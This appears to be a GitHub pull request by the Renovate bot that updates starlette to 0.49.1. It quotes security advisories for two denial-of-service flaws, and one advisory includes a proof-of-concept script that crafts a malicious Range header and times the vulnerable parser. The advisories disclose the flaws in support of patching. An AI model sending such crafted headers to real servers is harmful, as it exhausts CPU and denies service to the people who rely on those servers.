Skip to content

chore(deps): update dependency starlette to v0.49.1 [security]#236

Open
renovate[bot] wants to merge 1 commit into
mainfrom
renovate/pypi-starlette-vulnerability
Open

chore(deps): update dependency starlette to v0.49.1 [security]#236
renovate[bot] wants to merge 1 commit into
mainfrom
renovate/pypi-starlette-vulnerability

Conversation

@renovate
Copy link
Copy Markdown
Contributor

@renovate renovate Bot commented Jul 22, 2025

This PR contains the following updates:

Package Change Age Confidence
starlette (changelog) ==0.47.1==0.49.1 age confidence

Starlette has possible denial-of-service vector when parsing large files in multipart forms

CVE-2025-54121 / GHSA-2c2j-9gv5-cj73

More information

Details

Summary

When parsing a multi-part form with large files (greater than the default max spool size) starlette will block the main thread to roll the file over to disk. This blocks the event thread which means we can't accept new connections.

Details

Please see this discussion for details: https://github.com/encode/starlette/discussions/2927#discussioncomment-13721403. In summary the following UploadFile code (copied from here) has a minor bug. Instead of just checking for self._in_memory we should also check if the additional bytes will cause a rollover.

    @​property
    def _in_memory(self) -> bool:
        # check for SpooledTemporaryFile._rolled
        rolled_to_disk = getattr(self.file, "_rolled", True)
        return not rolled_to_disk

    async def write(self, data: bytes) -> None:
        if self.size is not None:
            self.size += len(data)

        if self._in_memory:
            self.file.write(data)
        else:
            await run_in_threadpool(self.file.write, data)

I have already created a PR which fixes the problem: https://github.com/encode/starlette/pull/2962

PoC

See the discussion here for steps on how to reproduce.

Impact

To be honest, very low and not many users will be impacted. Parsing large forms is already CPU intensive so the additional IO block doesn't slow down starlette that much on systems with modern HDDs/SSDs. If someone is running on tape they might see a greater impact.

Severity

  • CVSS Score: 5.3 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Starlette vulnerable to O(n^2) DoS via Range header merging in starlette.responses.FileResponse

CVE-2025-62727 / GHSA-7f5h-v6xp-fcq8

More information

Details

Summary

An unauthenticated attacker can send a crafted HTTP Range header that triggers quadratic-time processing in Starlette's FileResponse Range parsing/merging logic. This enables CPU exhaustion per request, causing denial‑of‑service for endpoints serving files (e.g., StaticFiles or any use of FileResponse).

Details

Starlette parses multi-range requests in FileResponse._parse_range_header(), then merges ranges using an O(n^2) algorithm.

##### starlette/responses.py
_RANGE_PATTERN = re.compile(r"(\d*)-(\d*)") # vulnerable to O(n^2) complexity ReDoS

class FileResponse(Response):
    @​staticmethod
    def _parse_range_header(http_range: str, file_size: int) -> list[tuple[int, int]]:
        ranges: list[tuple[int, int]] = []
        try:
            units, range_ = http_range.split("=", 1)
        except ValueError:
            raise MalformedRangeHeader()

        # [...]

        ranges = [
            (
                int(_[0]) if _[0] else file_size - int(_[1]),
                int(_[1]) + 1 if _[0] and _[1] and int(_[1]) < file_size else file_size,
            )
            for _ in _RANGE_PATTERN.findall(range_) # vulnerable
            if _ != ("", "")
        ]

The parsing loop of FileResponse._parse_range_header() uses the regular expression which vulnerable to denial of service for its O(n^2) complexity. A crafted Range header can maximize its complexity.

The merge loop processes each input range by scanning the entire result list, yielding quadratic behavior with many disjoint ranges. A crafted Range header with many small, non-overlapping ranges (or specially shaped numeric substrings) maximizes comparisons.

This affects any Starlette application that uses:

  • starlette.staticfiles.StaticFiles (internally returns FileResponse) — starlette/staticfiles.py:178
  • Direct starlette.responses.FileResponse responses
PoC
#!/usr/bin/env python3

import sys
import time

try:
    import starlette
    from starlette.responses import FileResponse
except Exception as e:
    print(f"[ERROR] Failed to import starlette: {e}")
    sys.exit(1)

def build_payload(length: int) -> str:
    """Build the Range header value body: '0' * num_zeros + '0-'"""
    return ("0" * length) + "a-"

def test(header: str, file_size: int) -> float:
    start = time.perf_counter()
    try:
        FileResponse._parse_range_header(header, file_size)
    except Exception:
        pass
    end = time.perf_counter()
    elapsed = end - start
    return elapsed

def run_once(num_zeros: int) -> None:
    range_body = build_payload(num_zeros)
    header = "bytes=" + range_body
    # Use a sufficiently large file_size so upper bounds default to file size
    file_size = max(len(range_body) + 10, 1_000_000)
    
    print(f"[DEBUG] range_body length: {len(range_body)} bytes")
    elapsed_time = test(header, file_size)
    print(f"[DEBUG] elapsed time: {elapsed_time:.6f} seconds\n")

if __name__ == "__main__":
    print(f"[INFO] Starlette Version: {starlette.__version__}")
    for n in [5000, 10000, 20000, 40000]:
        run_once(n)

"""
$ python3 poc_dos_range.py
[INFO] Starlette Version: 0.48.0
[DEBUG] range_body length: 5002 bytes
[DEBUG] elapsed time: 0.053932 seconds

[DEBUG] range_body length: 10002 bytes
[DEBUG] elapsed time: 0.209770 seconds

[DEBUG] range_body length: 20002 bytes
[DEBUG] elapsed time: 0.885296 seconds

[DEBUG] range_body length: 40002 bytes
[DEBUG] elapsed time: 3.238832 seconds
"""
Impact

Any Starlette app serving files via FileResponse or StaticFiles; frameworks built on Starlette (e.g., FastAPI) are indirectly impacted when using file-serving endpoints. Unauthenticated remote attackers can exploit this via a single HTTP request with a crafted Range header.

Severity

  • CVSS Score: 7.5 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Release Notes

Kludex/starlette (starlette)

v0.49.1: Version 0.49.1

Compare Source

This release fixes a security vulnerability in the parsing logic of the Range header in FileResponse.

You can view the full security advisory: GHSA-7f5h-v6xp-fcq8

Fixed


Full Changelog: Kludex/starlette@0.49.0...0.49.1

v0.49.0: Version 0.49.0

Compare Source

Added

  • Add encoding parameter to Config class #​2996.
  • Support multiple cookie headers in Request.cookies #​3029.
  • Use Literal type for WebSocketEndpoint encoding values #​3027.

Changed

  • Do not pollute exception context in Middleware when using BaseHTTPMiddleware #​2976.

New Contributors

Full Changelog: Kludex/starlette@0.48.0...0.49.0

v0.48.0: Version 0.48.0

Compare Source

Added

  • Add official Python 3.14 support #​3013.

Changed


New Contributors

Full Changelog: Kludex/starlette@0.47.3...0.48.0

v0.47.3: Version 0.47.3

Compare Source

Fixed


New Contributors

Full Changelog: Kludex/starlette@0.47.2...0.47.3

v0.47.2

Compare Source

Fixed

  • Make UploadFile check for future rollover #​2962.

New Contributors

Full Changelog: Kludex/starlette@0.47.1...0.47.2


Configuration

📅 Schedule: (UTC)

  • Branch creation
    • ""
  • Automerge
    • At any time (no schedule defined)

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.


  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

@vercel
Copy link
Copy Markdown

vercel Bot commented Jul 22, 2025

The latest updates on your projects. Learn more about Vercel for GitHub.

Project Deployment Actions Updated (UTC)
heimdallr Error Error Apr 27, 2026 11:03pm

@sonarqubecloud
Copy link
Copy Markdown

@renovate renovate Bot changed the title chore(deps): update dependency starlette to v0.47.2 [security] chore(deps): update dependency starlette to v0.49.1 [security] Oct 28, 2025
@renovate renovate Bot force-pushed the renovate/pypi-starlette-vulnerability branch from 3d0786b to 9818c1b Compare October 28, 2025 22:34
@sonarqubecloud
Copy link
Copy Markdown

@renovate renovate Bot changed the title chore(deps): update dependency starlette to v0.49.1 [security] chore(deps): update dependency starlette to v0.49.1 [security] - autoclosed Mar 27, 2026
@renovate renovate Bot closed this Mar 27, 2026
@renovate renovate Bot deleted the renovate/pypi-starlette-vulnerability branch March 27, 2026 00:53
@renovate renovate Bot changed the title chore(deps): update dependency starlette to v0.49.1 [security] - autoclosed chore(deps): update dependency starlette to v0.49.1 [security] Mar 30, 2026
@renovate renovate Bot reopened this Mar 30, 2026
@renovate renovate Bot force-pushed the renovate/pypi-starlette-vulnerability branch 2 times, most recently from 9818c1b to ad47902 Compare March 30, 2026 17:56
@renovate renovate Bot changed the title chore(deps): update dependency starlette to v0.49.1 [security] chore(deps): update dependency starlette to v0.49.1 [security] - autoclosed Apr 27, 2026
@renovate renovate Bot closed this Apr 27, 2026
@renovate renovate Bot changed the title chore(deps): update dependency starlette to v0.49.1 [security] - autoclosed chore(deps): update dependency starlette to v0.49.1 [security] Apr 27, 2026
@renovate renovate Bot reopened this Apr 27, 2026
@renovate renovate Bot force-pushed the renovate/pypi-starlette-vulnerability branch 2 times, most recently from ad47902 to 7f15235 Compare April 27, 2026 23:03
@sonarqubecloud
Copy link
Copy Markdown

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

0 participants